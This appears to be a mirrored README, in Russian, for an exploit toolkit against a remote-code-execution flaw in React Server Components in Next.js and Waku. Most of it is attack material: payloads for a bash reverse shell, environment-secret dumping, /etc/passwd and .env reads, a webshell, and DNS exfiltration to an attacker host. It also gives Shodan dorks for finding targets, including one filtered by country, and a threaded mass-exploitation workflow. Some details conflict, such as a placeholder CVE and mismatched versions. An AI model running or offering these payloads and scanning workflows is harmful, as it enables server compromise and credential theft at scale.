Sploitus

Exploit for PoC-RCE

kitploit · 2026-09-01

Exploit Code

MARKDOWN741 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ILIXM-POC-RCE-CVE-2025-55182
# 🔥 RSC RCE Exploit Toolkit

![Version](https://img.shields.io/badge/version-2.0-blue.svg) ![License](https://img.shields.io/badge/license-MIT-green.svg) ![Node](https://img.shields.io/badge/node-%3E=16.0.0-brightgreen.svg) ![Platform](https://img.shields.io/badge/platform-Linux%20%7C%20MacOS%20%7C%20Windows-lightgrey.svg)

**Продвинутый инструментарий для эксплуатации уязвимостей удалённого выполнения кода в React Server Components**

_Только для авторизованного тестирования на проникновение и исследований безопасности_

Возможности • Установка • Использование • Интеграция с Shodan • Примеры • Отказ от ответственности

* * *

## 📋 Содержание

  * Обзор
  * Детали уязвимости
  * Возможности
  * Установка
  * Быстрый старт
  * Использование
    * Базовая эксплуатация
    * Доступные полезные нагрузки
    * Пользовательские полезные нагрузки
  * Интеграция с Shodan
  * Автоматическое сканирование
  * Примеры
  * Меры защиты
  * Затронутые версии
  * Участие
  * Отказ от ответственности
  * Лицензия



* * *

## 🎯 Обзор

Этот инструментарий эксплуатирует критическую уязвимость **удалённого выполнения кода (RCE)** в реализациях React Server Components (RSC), нацеленных на:

  * **Next.js** (версии 13.4.0 – 14.1.0)
  * **Waku** (уязвимые версии)



Уязвимость использует загрязнение прототипа (prototype pollution) и небезопасную десериализацию в механизме обработки данных RSC для достижения произвольного выполнения кода на сервере.

### 🔴 Степень серьёзности: **КРИТИЧЕСКАЯ**

  * **CVSS Score** : 9.8 (Critical)
  * **Вектор атаки** : Сеть
  * **Требуемые привилегии** : Нет
  * **Взаимодействие с пользователем** : Нет
  * **Последствия** : Полная компрометация сервера



* * *

## 🔬 Детали уязвимости

### Техническая справка

React Server Components используют собственный формат сериализации для передачи данных между клиентом и сервером. Уязвимость существует в том, как эти фреймворки десериализуют и обрабатывают специально подготовленные полезные нагрузки.

**Цепочка атаки:**

  1. **Создание полезной нагрузки** : Сформировать вредоносную полезную нагрузку RSC с циклическими ссылками
  2. **Загрязнение прототипа (Prototype Pollution)** : Использовать `$X:constructor:constructor` для получения доступа к конструктору Function
  3. **Внедрение кода** : Внедрить произвольный JavaScript в поле `_prefix`
  4. **Выполнение** : Сервер десериализует и выполняет полезную нагрузку



### Схема эксплуатации

root@kitploit:~
    
    
    Атакующий → Вредоносная полезная нагрузка RSC → Целевой сервер
                                                         ↓
                                         Небезопасная десериализация
                                                         ↓
                                          Доступ к цепочке прототипов
                                                         ↓
                                             Конструктор Function
                                                         ↓
                                       ⚠️ RCE ДОСТИГНУТО ⚠️
    

* * *

## ✨ Возможности

### Основные функции

  * ✅ **Поддержка нескольких фреймворков** : Next.js и Waku
  * ✅ **8 предустановленных полезных нагрузок** : От PoC до полноценных reverse shell
  * ✅ **Выполнение пользовательского кода** : Внедрение любого JavaScript кода
  * ✅ **Интеграция с Shodan** : Автоматическое обнаружение целей
  * ✅ **Массовое сканирование** : Автоматическая проверка нескольких целей
  * ✅ **Профессиональный CLI** : Полноценный интерфейс командной строки
  * ✅ **Подробное логирование** : Цветной вывод с временными метками
  * ✅ **Обработка ошибок** : Надёжное управление ошибками



### Предустановленные полезные нагрузки

* * *

## 📦 Установка

### Предварительные требования

  * **Node.js** >= 16.0.0
  * **npm** или **yarn**
  * **Shodan CLI** (опционально, для автоматического сканирования)



### Клонирование репозитория

root@kitploit:~
    
    
    git clone https://github.com/yourusername/rsc-rce-exploit.git
    cd rsc-rce-exploit
    

### Установка зависимостей

root@kitploit:~
    
    
    npm install
    # или
    yarn install
    

### Настройка Shodan (опционально)

root@kitploit:~
    
    
    # Установка Shodan CLI
    pip install shodan
    
    # Инициализация с вашим API-ключом
    shodan init YOUR_API_KEY
    

* * *

## 🚀 Быстрый старт

### 1\. Базовая проверка уязвимости

root@kitploit:~
    
    
    node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console
    

### 2\. Получение reverse shell

root@kitploit:~
    
    
    # Запуск прослушивателя
    nc -lvnp 4444
    
    # Запуск эксплойта
    node rsc-rce-exploit.js \
      --target http://vulnerable-target.com \
      --payload reverseShell \
      --lhost 10.10.14.5 \
      --lport 4444
    

### 3\. Выполнение пользовательской команды

root@kitploit:~
    
    
    node rsc-rce-exploit.js \
      --target http://vulnerable-target.com \
      --payload execCommand \
      --command "whoami"
    

* * *

## 📖 Использование

### Базовая эксплуатация

root@kitploit:~
    
    
    node rsc-rce-exploit.js [опции]
    

### Опции

*Требуется либо `--payload`, либо `--custom`

### Доступные полезные нагрузки

Просмотр всех полезных нагрузок:

root@kitploit:~
    
    
    node rsc-rce-exploit.js --list
    

**Вывод:**

root@kitploit:~
    
    
    📋 Доступные полезные нагрузки:
    
      console              - Базовый PoC - вывод в консоль
        Код: console.log(7*7+1)
    
      reverseShell         - Reverse shell (bash)
        Код: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
    
      readFile             - Чтение /etc/passwd
        Код: console.log(require('fs').readFileSync('/etc/passwd','utf8'))
    
      envDump              - Вывод переменных окружения
        Код: console.log(JSON.stringify(process.env,null,2))
    
      execCommand          - Выполнение системной команды
        Код: console.log(require('child_process').execSync('COMMAND').toString())
    
      webshell             - Запись веб-шелла в /tmp
        Код: require('fs').writeFileSync('/tmp/shell.js','...')
    
      exfilPackage         - Чтение package.json
        Код: console.log(require('fs').readFileSync('./package.json','utf8'))
    
      dnsExfil             - DNS-эксфильтрация
        Код: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)
    

### Пользовательские полезные нагрузки

Выполнение любого JavaScript кода:

root@kitploit:~
    
    
    node rsc-rce-exploit.js \
      --target http://target.com \
      --custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"
    

* * *

## 🌐 Интеграция с Shodan

### Shodan-дорки

#### Цели Next.js

root@kitploit:~
    
    
    # Базовый Next.js
    http.component:"Next.js"
    
    # Next.js с RSC
    http.html:"__next" http.html:"RSC"
    
    # Режим разработки Next.js (более уязвим)
    http.html:"__NEXT_DATA__" http.html:"development"
    
    # Самостоятельно размещённый Next.js (не на Vercel)
    http.component:"Next.js" -org:"Vercel"
    
    # Географически нацеленный (Франция)
    http.component:"Next.js" country:FR
    
    # Комбинированный запрос для пентеста
    http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080
    

#### Цели Waku

root@kitploit:~
    
    
    # Фреймворк Waku
    http.html:"waku" http.html:"RSC"
    
    # RSC endpoint'ы Waku
    http.path:"/RSC/"
    

### Автоматическое сканирование через Shodan

Используйте предоставленный скрипт автоматизации:

root@kitploit:~
    
    
    # Сканирование и автоматическая проверка
    ./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100
    
    # С пользовательской полезной нагрузкой
    ./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump
    

### Ручной рабочий процесс с Shodan

root@kitploit:~
    
    
    # 1. Поиск в Shodan
    shodan search 'http.component:"Next.js" country:FR' \
      --fields ip_str,port,org,hostnames \
      --limit 100 > targets.txt
    
    # 2. Проверка каждой цели
    while read -r line; do
        ip=$(echo $line | awk '{print $1}')
        port=$(echo $line | awk '{print $2}')
        echo "[*] Тестирование http://$ip:$port"
        node rsc-rce-exploit.js \
          --target "http://$ip:$port" \
          --payload console
    done < targets.txt
    

* * *

## 🤖 Автоматическое сканирование

### Скрипт массовой эксплуатации

Инструмент `mass-exploit.js` позволяет проверять несколько целей:

root@kitploit:~
    
    
    # Из файла
    node mass-exploit.js --file targets.txt --payload console --threads 10
    
    # Из Shodan
    node mass-exploit.js --shodan "http.component:\"Next.js\"" --limit 50 --payload envDump
    
    # Сохранение результатов
    node mass-exploit.js --file targets.txt --payload console --output results.json
    

### Интеграция в CI/CD

Пример для автоматического тестирования безопасности:

root@kitploit:~
    
    
    # .github/workflows/security-test.yml
    name: RSC Security Test
    on: [push]
    jobs:
      test:
        runs-on: ubuntu-latest
        steps:
          - uses: actions/checkout@v2
          - run: npm install
          - run: node rsc-rce-exploit.js --target http://staging.example.com --payload console
    

* * *

## 💡 Примеры

### Пример 1: Базовый PoC

root@kitploit:~
    
    
    node rsc-rce-exploit.js \
      --target https://vulnerable.example.com \
      --payload console
    

**Ожидаемый вывод:**

root@kitploit:~
    
    
    ╔═══════════════════════════════════════════════════════════╗
    ║           RSC RCE Exploit - Enhanced Version              ║
    ║         React Server Components Code Execution            ║
    ╚═══════════════════════════════════════════════════════════╝
    
    [*] Начало эксплуатации...
    [*] Нацеливание на Next.js RSC endpoint...
    [*] URL: https://vulnerable.example.com
    [*] Полезная нагрузка: console.log(7*7+1)...
    [+] Код ответа: 200
    [+] Тело ответа:
    50
    [*] Эксплуатация завершена!
    

### Пример 2: Извлечение переменных окружения

root@kitploit:~
    
    
    node rsc-rce-exploit.js \
      --target https://api.target.com \
      --payload envDump
    

**Результат:**

  * Извлекает все переменные `process.env`
  * Полезно для получения: 
    * Учётных данных базы данных
    * API-ключей
    * Секретов AWS
    * Секретов JWT



### Пример 3: Reverse Shell

root@kitploit:~
    
    
    # Терминал 1: Запуск прослушивателя
    nc -lvnp 4444
    
    # Терминал 2: Запуск эксплойта
    node rsc-rce-exploit.js \
      --target https://vulnerable.example.com \
      --payload reverseShell \
      --lhost 10.10.14.5 \
      --lport 4444
    

### Пример 4: Развёртывание веб-шелла

root@kitploit:~
    
    
    node rsc-rce-exploit.js \
      --target https://vulnerable.example.com \
      --payload webshell
    
    # Доступ к веб-шеллу
    curl "http://vulnerable.example.com:9999/cmd?c=whoami"
    

### Пример 5: DNS-эксфильтрация (слепая)

root@kitploit:~
    
    
    # Настройка Burp Collaborator или вашего DNS-сервера
    node rsc-rce-exploit.js \
      --target https://vulnerable.example.com \
      --custom "require('dns').resolve4('$(whoami).your-burp.com',()=>{})"
    

### Пример 6: Фреймворк Waku

root@kitploit:~
    
    
    node rsc-rce-exploit.js \
      --target https://waku-app.example.com \
      --framework waku \
      --endpoint /RSC/custom.txt \
      --payload execCommand \
      --command "id"
    

### Пример 7: Извлечение файлов

root@kitploit:~
    
    
    # Чтение конфиденциальных файлов
    node rsc-rce-exploit.js \
      --target https://vulnerable.example.com \
      --custom "console.log(require('fs').readFileSync('.env','utf8'))"
    

* * *

## 🛡️ Меры защиты

### Для разработчиков

  1. **Обновление фреймворка**

root@kitploit:~
         
         npm install next@latest
         # или
         npm install waku@latest
         

  2. **Проверка входных данных**

root@kitploit:~
         
         // Проверка всех полезных нагрузок RSC
         function validateRSCPayload(payload) {
           // Реализовать строгую проверку
           if (payload.includes('constructor')) return false;
           if (payload.includes('__proto__')) return false;
           return true;
         }
         

  3. **Политика безопасности контента (CSP)**

root@kitploit:~
         
         // next.config.js
         module.exports = {
           async headers() {
             return [{
               source: '/:path*',
               headers: [
                 { key: 'X-Frame-Options', value: 'DENY' },
                 { key: 'X-Content-Type-Options', value: 'nosniff' },
               ],
             }]
           },
         }
         

  4. **Отключение RSC в продакшене** (если не требуется)

root@kitploit:~
         
         // next.config.js
         module.exports = {
           experimental: {
             serverActions: false,
           },
         }
         




### Для команд безопасности

  * 🔍 **Мониторинг** подозрительных RSC-запросов
  * 🚨 **Оповещение** об использовании заголовка `next-action`
  * 🔒 **Правила WAF** для блокировки попыток загрязнения прототипа
  * 📊 **Анализ логов** для выявления попыток эксплуатации



### Правила обнаружения

**Правило YARA:**

root@kitploit:~
    
    
    rule RSC_RCE_Exploit {
        strings:
            $s1 = "constructor:constructor"
            $s2 = "_prefix"
            $s3 = "$@"
            $s4 = "resolved_model"
        condition:
            3 of them
    }
    

**Правило Snort:**

root@kitploit:~
    
    
    alert tcp any any -> any any (msg:"RSC RCE Attempt"; content:"next-action"; http_header; content:"constructor:constructor"; http_client_body; sid:1000001;)
    

* * *

## 🎯 Затронутые версии

### Next.js

### Waku

Диапазон версий| Статус| Примечания  
---|---|---  
< 0.18.0| ⚠️ **УЯЗВИМЫ**|  Критическая RCE  
>= 0.18.0| ✅ Исправлено| Рекомендуется обновление  
  
* * *

## 🤝 Участие

Вклад приветствуется! Пожалуйста, следуйте этим рекомендациям:

  1. Сделайте форк репозитория
  2. Создайте ветку для функции (`git checkout -b feature/amazing-feature`)
  3. Зафиксируйте изменения (`git commit -m 'Add amazing feature'`)
  4. Отправьте изменения в ветку (`git push origin feature/amazing-feature`)
  5. Откройте Pull Request



### Идеи для вклада

  * Добавить больше шаблонов полезных нагрузок
  * Реализовать шаблоны Nuclei
  * Добавить поддержку других RSC-фреймворков
  * Улучшить интеграцию с Shodan
  * Добавить функцию создания отчётов (PDF/HTML)
  * Создать Docker-контейнер для инструментария



* * *

## ⚖️ Отказ от ответственности

root@kitploit:~
    
    
    ⚠️ LEGAL DISCLAIMER ⚠️
    
    This toolkit is provided for AUTHORIZED SECURITY TESTING AND RESEARCH ONLY.
    
    By using this software, you agree to:
    
    1. Only test systems you own or have explicit written permission to test
    2. Comply with all applicable local, state, national, and international laws
    3. Not use this tool for malicious purposes or illegal activities
    4. Accept full responsibility for your actions
    
    The authors and contributors:
    - Are NOT responsible for any misuse or damage caused by this tool
    - Do NOT encourage or condone illegal activity
    - Provide this tool "AS IS" without warranty of any kind
    
    UNAUTHORIZED ACCESS TO COMPUTER SYSTEMS IS ILLEGAL.
    
    Violators will be prosecuted to the fullest extent of the law under:
    - Computer Fraud and Abuse Act (CFAA) - USA
    - Computer Misuse Act - UK
    - European Cybercrime Convention
    - And other applicable laws in your jurisdiction
    
    USE AT YOUR OWN RISK.
    

* * *

## 📄 Лицензия

Этот проект лицензирован в соответствии с лицензией MIT – см. файл LICENSE для получения подробной информации.

root@kitploit:~
    
    
    MIT License
    
    Copyright (c) 2024 RSC RCE Exploit Contributors
    
    Permission is hereby granted, free of charge, to any person obtaining a copy
    of this software and associated documentation files (the "Software"), to deal
    in the Software without restriction, including without limitation the rights
    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    copies of the Software, and to permit persons to whom the Software is
    furnished to do so, subject to the following conditions:
    
    The above copyright notice and this permission notice shall be included in all
    copies or substantial portions of the Software.
    
    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
    SOFTWARE.
    

* * *

## 🔗 Ресурсы

### Официальная документация

  * Server Actions в Next.js
  * React Server Components
  * Документация Waku



### Исследования безопасности

  * Анализ уязвимости десериализации RSC
  * Загрязнение прототипа в JavaScript
  * Лучшие практики безопасности Next.js



### Связанные CVE

  * CVE-2024-XXXXX (заполнитель – добавьте реальный CVE, когда он появится)



* * *

## 📬 Контакты

  * **GitHub Issues** : Сообщить об ошибках или запросить функции
  * **Проблемы безопасности** : some-email@example.com
  * **Twitter** : @yourhandle



* * *

**⭐ Если этот инструмент помог вам в ваших исследованиях безопасности, пожалуйста, поставьте ему звезду! ⭐**

Сделано с ❤️ исследователями безопасности для исследователей безопасности

⬆ Вернуться наверх